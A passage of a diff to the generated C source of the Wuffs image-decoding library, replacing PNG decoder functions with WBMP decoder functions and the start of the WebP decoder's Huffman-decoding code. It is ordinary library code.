-+ self->private_data.s_do_decode_frame.v_c8 = v_c8; - - goto exit; - exit: -@@ -57879,12 +71324,12 @@ wuffs_png__decoder__decode_pass( - return status; - } - --// -------- func png.decoder.frame_dirty_rect -+// -------- func wbmp.decoder.frame_dirty_rect - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 --wuffs_png__decoder__frame_dirty_rect( -- const wuffs_png__decoder* self) { -+wuffs_wbmp__decoder__frame_dirty_rect( -+ const wuffs_wbmp__decoder* self) { - if (!self) { - return wuffs_base__utility__empty_rect_ie_u32(); - } -@@ -57894,18 +71339,18 @@ wuffs_png__decoder__frame_dirty_rect( - } - - return wuffs_base__utility__make_rect_ie_u32( -- self->private_impl.f_frame_rect_x0, -- self->private_impl.f_frame_rect_y0, -- self->private_impl.f_frame_rect_x1, -- self->private_impl.f_frame_rect_y1); -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height); - } - --// -------- func png.decoder.num_animation_loops -+// -------- func wbmp.decoder.num_animation_loops - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_png__decoder__num_animation_loops( -- const wuffs_png__decoder* self) { -+wuffs_wbmp__decoder__num_animation_loops( -+ const wuffs_wbmp__decoder* self) { - if (!self) { - return 0; - } -@@ -57914,15 +71359,15 @@ wuffs_png__decoder__num_animation_loops( - return 0; - } - -- return self->private_impl.f_num_animation_loops_value; -+ return 0u; - } - --// -------- func png.decoder.num_decoded_frame_configs -+// -------- func wbmp.decoder.num_decoded_frame_configs - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_png__decoder__num_decoded_frame_configs( -- const wuffs_png__decoder* self) { -+wuffs_wbmp__decoder__num_decoded_frame_configs( -+ const wuffs_wbmp__decoder* self) { - if (!self) { - return 0; - } -@@ -57931,15 +71376,18 @@ wuffs_png__decoder__num_decoded_frame_configs( - return 0; - } - -- return ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)); -+ if (self->private_impl.f_call_sequence > 32u) { -+ return 1u; -+ } -+ return 0u; - } - --// -------- func png.decoder.num_decoded_frames -+// -------- func wbmp.decoder.num_decoded_frames - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_png__decoder__num_decoded_frames( -- const wuffs_png__decoder* self) { -+wuffs_wbmp__decoder__num_decoded_frames( -+ const wuffs_wbmp__decoder* self) { - if (!self) { - return 0; - } -@@ -57948,15 +71396,18 @@ wuffs_png__decoder__num_decoded_frames( - return 0; - } - -- return ((uint64_t)(self->private_impl.f_num_decoded_frames_value)); -+ if (self->private_impl.f_call_sequence > 64u) { -+ return 1u; -+ } -+ return 0u; - } - --// -------- func png.decoder.restart_frame -+// -------- func wbmp.decoder.restart_frame - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_png__decoder__restart_frame( -- wuffs_png__decoder* self, -+wuffs_wbmp__decoder__restart_frame( -+ wuffs_wbmp__decoder* self, - uint64_t a_index, - uint64_t a_io_position) { - if (!self) { -@@ -57971,154 +71422,514 @@ wuffs_png__decoder__restart_frame( - - if (self->private_impl.f_call_sequence < 32u) { - return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } else if ((a_index >= ((uint64_t)(self->private_impl.f_num_animation_frames_value))) || ((a_index == 0u) && (a_io_position != self->private_impl.f_first_config_io_position))) { -+ } -+ if (a_index != 0u) { - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - self->private_impl.f_call_sequence = 40u; -- if (self->private_impl.f_interlace_pass >= 1u) { -- self->private_impl.f_interlace_pass = 1u; -- } - self->private_impl.f_frame_config_io_position = a_io_position; -- self->private_impl.f_num_decoded_frame_configs_value = ((uint32_t)(a_index)); -- self->private_impl.f_num_decoded_frames_value = self->private_impl.f_num_decoded_frame_configs_value; - return wuffs_base__make_status(NULL); - } - --// -------- func png.decoder.set_report_metadata -+// -------- func wbmp.decoder.set_report_metadata - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_png__decoder__set_report_metadata( -- wuffs_png__decoder* self, -+wuffs_wbmp__decoder__set_report_metadata( -+ wuffs_wbmp__decoder* self, - uint32_t a_fourcc, - bool a_report) { -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func wbmp.decoder.tell_me_more -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__tell_me_more( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { - if (!self) { -- return wuffs_base__make_empty_struct(); -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- if (a_fourcc == 1128813133u) { -- self->private_impl.f_report_metadata_chrm = a_report; -- } else if (a_fourcc == 1163413830u) { -- self->private_impl.f_report_metadata_exif = a_report; -- } else if (a_fourcc == 1195461953u) { -- self->private_impl.f_report_metadata_gama = a_report; -- } else if (a_fourcc == 1229144912u) { -- self->private_impl.f_report_metadata_iccp = a_report; -- } else if (a_fourcc == 1263947808u) { -- self->private_impl.f_report_metadata_kvp = a_report; -- } else if (a_fourcc == 1397901122u) { -- self->private_impl.f_report_metadata_srgb = a_report; -+ status = wuffs_base__make_status(wuffs_base__error__no_more_information); -+ goto exit; -+ -+ goto ok; -+ ok: -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func wbmp.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_wbmp__decoder__workbuf_len( -+ const wuffs_wbmp__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_webp__error__bad_huffman_code_over_subscribed[] = "#webp: bad Huffman code (over-subscribed)"; -+const char wuffs_webp__error__bad_huffman_code_under_subscribed[] = "#webp: bad Huffman code (under-subscribed)"; -+const char wuffs_webp__error__bad_huffman_code[] = "#webp: bad Huffman code"; -+const char wuffs_webp__error__bad_back_reference[] = "#webp: bad back-reference"; -+const char wuffs_webp__error__bad_color_cache[] = "#webp: bad color cache"; -+const char wuffs_webp__error__bad_header[] = "#webp: bad header"; -+const char wuffs_webp__error__bad_transform[] = "#webp: bad transform"; -+const char wuffs_webp__error__short_chunk[] = "#webp: short chunk"; -+const char wuffs_webp__error__truncated_input[] = "#webp: truncated input"; -+const char wuffs_webp__error__unsupported_number_of_huffman_groups[] = "#webp: unsupported number of Huffman groups"; -+const char wuffs_webp__error__unsupported_transform_after_color_indexing_transform[] = "#webp: unsupported transform after color indexing transform"; -+const char wuffs_webp__error__unsupported_webp_file[] = "#webp: unsupported WebP file"; -+const char wuffs_webp__error__internal_error_inconsistent_huffman_code[] = "#webp: internal error: inconsistent Huffman code"; -+const char wuffs_webp__error__internal_error_inconsistent_dst_buffer[] = "#webp: internal error: inconsistent dst buffer"; -+const char wuffs_webp__error__internal_error_inconsistent_n_bits[] = "#webp: internal error: inconsistent n_bits"; -+ -+// ---------------- Private Consts -+ -+static const uint8_t -+WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 17u, 18u, 0u, 1u, 2u, 3u, 4u, 5u, -+ 16u, 6u, 7u, 8u, 9u, 10u, 11u, 12u, -+ 13u, 14u, 15u, -+}; -+ -+static const uint8_t -+WUFFS_WEBP__REPEAT_N_BITS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 2u, 3u, 7u, 0u, -+}; -+ -+static const uint8_t -+WUFFS_WEBP__REPEAT_COUNTS[4] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 3u, 3u, 11u, 0u, -+}; -+ -+static const uint16_t -+WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[5] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1612u, 0u, 511u, 1022u, 1533u, -+}; -+ -+static const uint8_t -+WUFFS_WEBP__DISTANCE_MAP[120] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 24u, 7u, 23u, 25u, 40u, 6u, 39u, 41u, -+ 22u, 26u, 38u, 42u, 56u, 5u, 55u, 57u, -+ 21u, 27u, 54u, 58u, 37u, 43u, 72u, 4u, -+ 71u, 73u, 20u, 28u, 53u, 59u, 70u, 74u, -+ 36u, 44u, 88u, 69u, 75u, 52u, 60u, 3u, -+ 87u, 89u, 19u, 29u, 86u, 90u, 35u, 45u, -+ 68u, 76u, 85u, 91u, 51u, 61u, 104u, 2u, -+ 103u, 105u, 18u, 30u, 102u, 106u, 34u, 46u, -+ 84u, 92u, 67u, 77u, 101u, 107u, 50u, 62u, -+ 120u, 1u, 119u, 121u, 83u, 93u, 17u, 31u, -+ 100u, 108u, 66u, 78u, 118u, 122u, 33u, 47u, -+ 117u, 123u, 49u, 63u, 99u, 109u, 82u, 94u, -+ 0u, 116u, 124u, 65u, 79u, 16u, 32u, 98u, -+ 110u, 48u, 115u, 125u, 81u, 95u, 64u, 114u, -+ 126u, 97u, 111u, 80u, 113u, 127u, 96u, 112u, -+}; -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_huffman_groups( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_n_huffman_groups); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_huffman_tree( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_hg, -+ uint32_t a_ht); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_huffman_tree_simple( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_hg, -+ uint32_t a_ht); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_code_length_code_lengths( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__build_code_lengths_huffman_nodes( -+ wuffs_webp__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__build_huffman_nodes( -+ wuffs_webp__decoder* self, -+ uint32_t a_hg, -+ uint32_t a_ht); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__build_code_lengths( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_pixels_slow( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_dst, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_width, -+ uint32_t a_height, -+ wuffs_base__slice_u8 a_tile_data, -+ uint32_t a_tile_size_log2); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_predictor( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix, -+ wuffs_base__slice_u8 a_tile_data); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_webp__decoder__absolute_difference( -+ const wuffs_webp__decoder* self, -+ uint32_t a_a, -+ uint32_t a_b); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_webp__decoder__mode12( -+ const wuffs_webp__decoder* self, -+ uint8_t a_l, -+ uint8_t a_t, -+ uint8_t a_tl); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_webp__decoder__mode13( -+ const wuffs_webp__decoder* self, -+ uint8_t a_l, -+ uint8_t a_t, -+ uint8_t a_tl); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_cross_color( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix, -+ wuffs_base__slice_u8 a_tile_data); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_subtract_green( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_webp__decoder__apply_transform_color_indexing( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_pix); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_image_config( -+ wuffs_webp__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_image_config_limited( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_image_config_limited_vp8l( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_frame_config( -+ wuffs_webp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__do_decode_frame( -+ wuffs_webp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_transform( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_color_cache_parameters( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_hg_table( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_width, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__decode_pixels( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_dst, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_width, -+ uint32_t a_height, -+ wuffs_base__slice_u8 a_tile_data, -+ uint32_t a_tile_size_log2); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__swizzle( -+ wuffs_webp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_src, -+ wuffs_base__pixel_blend a_blend); -+ -+// ---------------- VTables -+ -+const wuffs_base__image_decoder__func_ptrs -+wuffs_webp__decoder__func_ptrs_for__wuffs_base__image_decoder = { -+ (wuffs_base__status(*)(void*, -+ wuffs_base__pixel_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__pixel_blend, -+ wuffs_base__slice_u8, -+ wuffs_base__decode_frame_options*))(&wuffs_webp__decoder__decode_frame), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__frame_config*, -+ wuffs_base__io_buffer*))(&wuffs_webp__decoder__decode_frame_config), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__image_config*, -+ wuffs_base__io_buffer*))(&wuffs_webp__decoder__decode_image_config), -+ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_webp__decoder__frame_dirty_rect), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_webp__decoder__get_quirk), -+ (uint32_t(*)(const void*))(&wuffs_webp__decoder__num_animation_loops), -+ (uint64_t(*)(const void*))(&wuffs_webp__decoder__num_decoded_frame_configs), -+ (uint64_t(*)(const void*))(&wuffs_webp__decoder__num_decoded_frames), -+ (wuffs_base__status(*)(void*, -+ uint64_t, -+ uint64_t))(&wuffs_webp__decoder__restart_frame), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_webp__decoder__set_quirk), -+ (wuffs_base__empty_struct(*)(void*, -+ uint32_t, -+ bool))(&wuffs_webp__decoder__set_report_metadata), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__more_information*, -+ wuffs_base__io_buffer*))(&wuffs_webp__decoder__tell_me_more), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_webp__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_webp__decoder__initialize( -+ wuffs_webp__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -+ wuffs_base__image_decoder__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -+ (const void*)(&wuffs_webp__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_webp__decoder* -+wuffs_webp__decoder__alloc(void) { -+ wuffs_webp__decoder* x = -+ (wuffs_webp__decoder*)(calloc(1, sizeof(wuffs_webp__decoder))); -+ if (!x) { -+ return NULL; - } -- return wuffs_base__make_empty_struct(); -+ if (wuffs_webp__decoder__initialize( -+ x, sizeof(wuffs_webp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; - } - --// -------- func png.decoder.tell_me_more -+size_t -+sizeof__wuffs_webp__decoder(void) { -+ return sizeof(wuffs_webp__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func webp.decoder.decode_huffman_groups - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_png__decoder__tell_me_more( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 4)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -+static wuffs_base__status -+wuffs_webp__decoder__decode_huffman_groups( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_n_huffman_groups) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_hg = 0; -+ uint32_t v_ht = 0; - -- uint32_t coro_susp_point = self->private_impl.p_tell_me_more[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_groups; -+ if (coro_susp_point) { -+ v_hg = self->private_data.s_decode_huffman_groups.v_hg; -+ v_ht = self->private_data.s_decode_huffman_groups.v_ht; -+ } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_png__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_png__error__truncated_input); -- goto exit; -+ v_hg = 0u; -+ while (v_hg < a_n_huffman_groups) { -+ v_ht = 0u; -+ while (v_ht < 5u) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_webp__decoder__decode_huffman_tree(self, a_src, v_hg, v_ht); -+ if (status.repr) { -+ goto suspend; -+ } -+ v_ht += 1u; - } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ v_hg += 1u; - } - -+ goto ok; - ok: -- self->private_impl.p_tell_me_more[0] = 0; -+ self->private_impl.p_decode_huffman_groups = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; -+ self->private_impl.p_decode_huffman_groups = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_huffman_groups.v_hg = v_hg; -+ self->private_data.s_decode_huffman_groups.v_ht = v_ht; - - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } - return status; - } - --// -------- func png.decoder.do_tell_me_more -+// -------- func webp.decoder.decode_huffman_tree - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__do_tell_me_more( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src) { -+wuffs_webp__decoder__decode_huffman_tree( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_hg, -+ uint32_t a_ht) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint16_t v_c2 = 0; -- wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_w = &u_w; -- uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint64_t v_num_written = 0; -- uint64_t v_w_mark = 0; -- uint64_t v_r_mark = 0; -- wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); -+ uint8_t v_c8 = 0; -+ uint32_t v_use_simple = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint8_t* iop_a_dst = NULL; -- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -58130,462 +71941,105 @@ wuffs_png__decoder__do_tell_me_more( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more[0]; -- if (coro_susp_point) { -- v_zlib_status = self->private_data.s_do_tell_me_more[0].v_zlib_status; -- } -+ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_tree; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if ((self->private_impl.f_call_sequence & 16u) == 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } -- if (self->private_impl.f_metadata_fourcc == 0u) { -- status = wuffs_base__make_status(wuffs_base__error__no_more_information); -- goto exit; -+ if (a_ht >= 4u) { -+ self->private_impl.f_ht_n_symbols = 40u; -+ } else if (a_ht > 0u) { -+ self->private_impl.f_ht_n_symbols = 256u; -+ } else if (self->private_impl.f_color_cache_bits == 0u) { -+ self->private_impl.f_ht_n_symbols = 280u; -+ } else { -+ self->private_impl.f_ht_n_symbols = (280u + (((uint32_t)(1u)) << self->private_impl.f_color_cache_bits)); - } -- do { -- if (self->private_impl.f_metadata_flavor == 3u) { -- while (true) { -- if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_y) { -- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -- goto exit; -- } else if (a_minfo != NULL) { -- wuffs_base__more_information__set(a_minfo, -- self->private_impl.f_metadata_flavor, -- self->private_impl.f_metadata_fourcc, -- self->private_impl.f_metadata_x, -- self->private_impl.f_metadata_y, -- self->private_impl.f_metadata_z); -- } -- if (self->private_impl.f_metadata_y >= self->private_impl.f_metadata_z) { -- goto label__goto_done__break; -- } -- self->private_impl.f_metadata_y = self->private_impl.f_metadata_z; -- status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; - } -- if (self->private_impl.f_metadata_is_zlib_compressed) { -- if (self->private_impl.f_zlib_is_dirty) { -- wuffs_base__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, -- sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -- if (self->private_impl.f_ignore_checksum) { -- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); -- } -- } -- self->private_impl.f_zlib_is_dirty = true; -- self->private_impl.f_ztxt_hist_pos = 0u; -+ self->private_impl.f_bits = 